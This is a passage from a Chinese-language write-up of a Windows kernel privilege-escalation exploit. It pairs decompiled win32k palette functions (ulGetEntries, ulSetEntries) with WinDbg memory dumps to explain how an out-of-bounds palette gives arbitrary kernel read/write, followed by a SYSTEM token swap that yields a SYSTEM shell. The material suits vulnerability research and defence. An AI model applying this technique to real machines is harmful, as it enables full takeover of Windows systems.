PVOID addr; // rax
_This = this;
CountSize = count;
*(_DWORD *)(*(_QWORD *)this->BaseObject + 0x144i64) = cout == 0;
that = *(_QWORD *)this->BaseObject;
buffRef = buff;
hasData = *(void **)(*(_QWORD *)this->BaseObject + 0x138i64);
// 如果已經(jīng)申請(qǐng)過(guò)內(nèi)存
if ( hasData )
{
// 位置140保存了對(duì)象的大小
if ( (unsigned int)CountSize <= *(_DWORD *)(that + 0x140) )
{
// 拷貝 8 * CountSize大小內(nèi)存
copy_Memory:
memmove(*(void **)(*(_QWORD *)_This->BaseObject + 0x138i64), (const void *)buffRef, 8 * CountSize);
result = 1i64;
// 位置140重新保存對(duì)象的大小
*(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = CountSize;
return result;
}
if ( hasData && hasData != (void *)(that + 0x114) )
{
ExFreePoolWithTag(hasData, 0);
*(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = 0i64;
}
}
if ( (unsigned int)CountSize <= 4 )
{
*(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = *(_QWORD *)_This->BaseObject + 0x114i64;
goto copy_Memory;
}
AllocedAddress = 0i64;
size = 8 * CountSize;
if ( 8 * (_DWORD)CountSize )
{
sizeRef = size;
// 這里分配 8 * CountSize大小內(nèi)存
addr = ExAllocatePoolWithTag((POOL_TYPE)33, size, 0x64646147u);
AllocedAddress = addr;
if ( addr )
memset(addr, 0, sizeRef);
}
// 在138位置保存了申請(qǐng)內(nèi)存的地址
*(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = AllocedAddress;
if ( *(_QWORD *)(*(_QWORD *)_This->BaseObject + 312i64) )
goto copy_Memory;
*(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = 0;
return 0i64;
}
構(gòu)造好了越界的PALETTE就可以構(gòu)造hManager、hWorker兩個(gè)Palette object,其中hManager->pFirstColor指針指向hWorker的內(nèi)核地址,具體方法是通過(guò)GetPaletteEntries和SetPaletteEntries,內(nèi)部通過(guò)GreGetPaletteEntries調(diào)用XEPALOBJ::ulGetEntries和GreSetPaletteEntries調(diào)用實(shí)現(xiàn).
__int64 __fastcall XEPALOBJ::ulGetEntries(PALETTE64 *this, unsigned int istart, unsigned int icount, tagPALETTEENTRY *entrys, int val0)
{
unsigned int icountRef; // edi
tagPALETTEENTRY *v6; // rbx
unsigned int v8; // eax
unsigned int v9; // eax
unsigned __int64 v10; // rcx
icountRef = icount;
v6 = entrys;
if ( !entrys )
return *(unsigned int *)(*(_QWORD *)this->BaseObject + 0x1Ci64);
v8 = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64);
if ( istart >= v8 )
return 0i64;
v9 = v8 - istart;
if ( icount > v9 )
icountRef = v9;
// 拷貝pFirstColor+4*istart位置從entry的buf中,拷貝大小為icountRef*4
memmove(entrys, (const void *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4i64 * istart), 4i64 * icountRef);
if ( !val0 )
return icountRef;
v10 = (unsigned __int64)&v6[icountRef];
while ( (unsigned __int64)v6 < v10 )
{
v6->peFlags = 0;
++v6;
}
return icountRef;
}
__int64 __fastcall XEPALOBJ::ulSetEntries(PALETTE64 *this, unsigned int istart, int icount, tagPALETTEENTRY *entrys)
{
__int64 BaseObject; // r10
tagPALETTEENTRY *entrysRef; // rbx
PALETTE64 *that; // r11
__int64 v7; // r9
_BYTE *ptransOld; // rcx
tagPALETTEENTRY *entryPtr; // rdi
_DWORD *ptransCurrentFrom; // rax
_BYTE *ptransCurrent; // rdx
_DWORD *ptransOldFrom; // rax
unsigned int icountRef; // er9
signed __int32 v14; // edx
__int64 v15; // r8
BaseObject = *(_QWORD *)this->BaseObject;
entrysRef = entrys;
that = this;
if ( _bittest((const signed __int32 *)(*(_QWORD *)this->BaseObject + 0x18i64), 0x14u)
|| !entrys
// BaseObject + 0x1C就是entryCount
|| istart >= *(_DWORD *)(BaseObject + 0x1C) )
{
return 0i64;
}
if ( icount + istart > *(_DWORD *)(BaseObject + 28) )
icount = *(_DWORD *)(BaseObject + 28) - istart;
if ( !icount )
return 0i64;
v7 = istart;
ptransOld = 0i64;
// 讀取pFirstColor+4*istart位置從entry的buf中
entryPtr = (tagPALETTEENTRY *)(*(_QWORD *)(BaseObject + 0x80) + 4i64 * istart);
ptransCurrentFrom = *(_DWORD **)(BaseObject + 0x48);
ptransCurrent = 0i64;
if ( ptransCurrentFrom )
{
*ptransCurrentFrom = 0;
BaseObject = *(_QWORD *)that->BaseObject;
ptransCurrent = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x48i64) + v7 + 4);
}
ptransOldFrom = *(_DWORD **)(BaseObject + 0x50);
if ( ptransOldFrom )
{
*ptransOldFrom = 0;
ptransOld = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x50i64) + v7 + 4);
}
icountRef = icount;
do
{
--icount;
*entryPtr = *entrysRef;
if ( ptransCurrent )
// 重置ptransCurrent
*ptransCurrent++ = 0;
if ( ptransOld )
// 重置ptransOld
*ptransOld++ = 0;
// 讀取大小為icountRef*4
++entrysRef;
++entryPtr;
}
while ( icount );
v14 = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique);
*(_DWORD *)(*(_QWORD *)that->BaseObject + 32i64) = v14;
v15 = *(_QWORD *)(*(_QWORD *)that->BaseObject + 136i64);
if ( v15 != *(_QWORD *)that->BaseObject )
*(_DWORD *)(v15 + 32) = v14;
return icountRef;
}
在poc中對(duì)于hManager設(shè)置GetPaletteEntries的istart=0x1b,SetPaletteEntries=的istart=0x3C,0x1b?4=6c對(duì)齊后為0x70,0x3C4=0xf0,0xf0-0x70=0x80正好是hWorker->pFirstColor指針指向的地址,寫(xiě)入任意目標(biāo)內(nèi)核地址后,對(duì)于hWorker調(diào)用GetPaletteEntries就就可以讀取這個(gè)地址4*icount大小的任意內(nèi)容,下面我們來(lái)看調(diào)試驗(yàn)證結(jié)果:
//在用戶(hù)態(tài)查看,hManager和hWorker可以通過(guò)計(jì)算公式為(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi對(duì)象句柄&0xffff))獲取內(nèi)核地址,poc中有計(jì)算代碼
0:000> dv /i /t /v
prv local 00000000`0029f898 unsigned char * hPltWkrObj = 0xfffff900`c566df10 "--- memory read error at address 0xfffff900`c566df10 ---"
prv local 00000000`0029f890 unsigned char * hPltMgrObj = 0xfffff900`c566de10 "--- memory read error at address 0xfffff900`c566de10 ---"
//在內(nèi)核態(tài)查看:
kd> dq 0xfffff900`c566de10 L20
fffff900`c566de10 00000000`020810cc 00000000`00000000
//在PALETTE64->cEntries寫(xiě)入值為0xfff位置構(gòu)造了一個(gè)越界的PALETTE實(shí)現(xiàn)
fffff900`c566de20 00000000`00000000 00000fff`00000501
fffff900`c566de30 00000000`000cfc5d 00000000`00000000
fffff900`c566de40 00000000`00000000 00000000`00000000
fffff900`c566de50 00000000`00000000 00000000`00000000
fffff900`c566de60 00000000`00000000 00000000`00000000
fffff900`c566de70 fffff960`0010a8dc fffff960`0010a7f0
fffff900`c566de80 00000000`00000000 00000000`00000000
//0xfffff900`c566de10+80也就是hManager->pFirstColor指針指向的地址
fffff900`c566de90 fffff900`c566dea0 fffff900`c566de10
//查看hManager->pFirstColor指針指向的地址
kd> dq fffff900`c566dea0 L20
fffff900`c566dea0 55555555`55555555 55555555`55555555
fffff900`c566deb0 55555555`55555555 55555555`55555555
fffff900`c566dec0 55555555`55555555 55555555`55555555
fffff900`c566ded0 55555555`55555555 55555555`55555555
fffff900`c566dee0 55555555`55555555 55555555`55555555
fffff900`c566def0 55555555`55555555 00000000`00000000
fffff900`c566df00 38326847`23100010 00000000`00000000
//fffff900`c566dea0+0x70=0xfffff900`c566df10 正好就是在用戶(hù)態(tài)看到的hPltWkrObj指向地址
//這里正好對(duì)應(yīng)的是一個(gè)PALETTE結(jié)構(gòu)
fffff900`c566df10 00000000`020810cd 00000000`00000000
//hWorker長(zhǎng)度16足夠了
fffff900`c566df20 00000000`00000000 00000016`00000501
fffff900`c566df30 00000000`000cdb62 00000000`00000000
fffff900`c566df40 00000000`00000000 00000000`00000000
fffff900`c566df50 00000000`00000000 00000000`00000000
fffff900`c566df60 00000000`00000000 00000000`00000000
fffff900`c566df70 fffff960`0010a8dc fffff960`0010a7f0
fffff900`c566df80 00000000`00000000 00000000`00000000
//0xfffff900`c566df10+80指向這里指向要讀取內(nèi)存的地址,也就是hWorker->pFirstColor指針指向的地址
fffff900`c566df90 fffff800`03eff030 fffff900`c566df10
fffff900`c566dfa0 55555555`55555555 55555555`55555555
fffff900`c566dfb0 55555555`55555555 55555555`55555555
//再次回到用戶(hù)態(tài)查看
0:000> dv /i /t /v
prv param 00000000`0029f6b0 unsigned int64 Addr = 0xfffff800`03eff030
prv param 00000000`0029f6b8 unsigned int len = 2
//內(nèi)核態(tài)查看
//直接查看內(nèi)核態(tài)數(shù)據(jù)
kd> dq fffff800`03eff030
fffff800`03eff030 fffffa80`018cbb30 fffffa80`01829fc0
fffff800`03eff040 a1993ffe`00000001 fffffa80`0195f7b0
fffff800`03eff050 fffffa80`01852840 00000001`00000000
fffff800`03eff060 00000000`0007ff8e 00000040`00000320
fffff800`03eff070 00000043`00000004 fffff683`ffffff78
fffff800`03eff080 00026161`00000001 00000000`0007ffff
fffff800`03eff090 fffff800`03c4e380 00000000`00000007
fffff800`03eff0a0 fffffa80`018fda50 fffffa80`01808000
//最后回到用戶(hù)態(tài)查看
0:000> dv /i /t /v
//驗(yàn)證讀取的數(shù)據(jù)正確
prv local 00000000`0029f6d0 unsigned int64 res = 0xfffffa80`018cbb30
同理對(duì)hWorker調(diào)用SetPaletteEntries實(shí)現(xiàn)任意內(nèi)存寫(xiě)入,實(shí)現(xiàn)替換進(jìn)程SYSTEM權(quán)限的token,為了避免退出進(jìn)程后HDC句柄釋放失敗導(dǎo)致藍(lán)屏,把Palette改回原來(lái)大小這樣就會(huì)調(diào)用GetPaletteEntries失敗,從而判斷出是哪個(gè)HDC改寫(xiě)了越界Palette,最后通過(guò)偏移量找到他內(nèi)核句柄的地址,清零最后成功退出exp,成功后獲得一個(gè)system的cmd,本exp成功率90%,效果如圖:
引用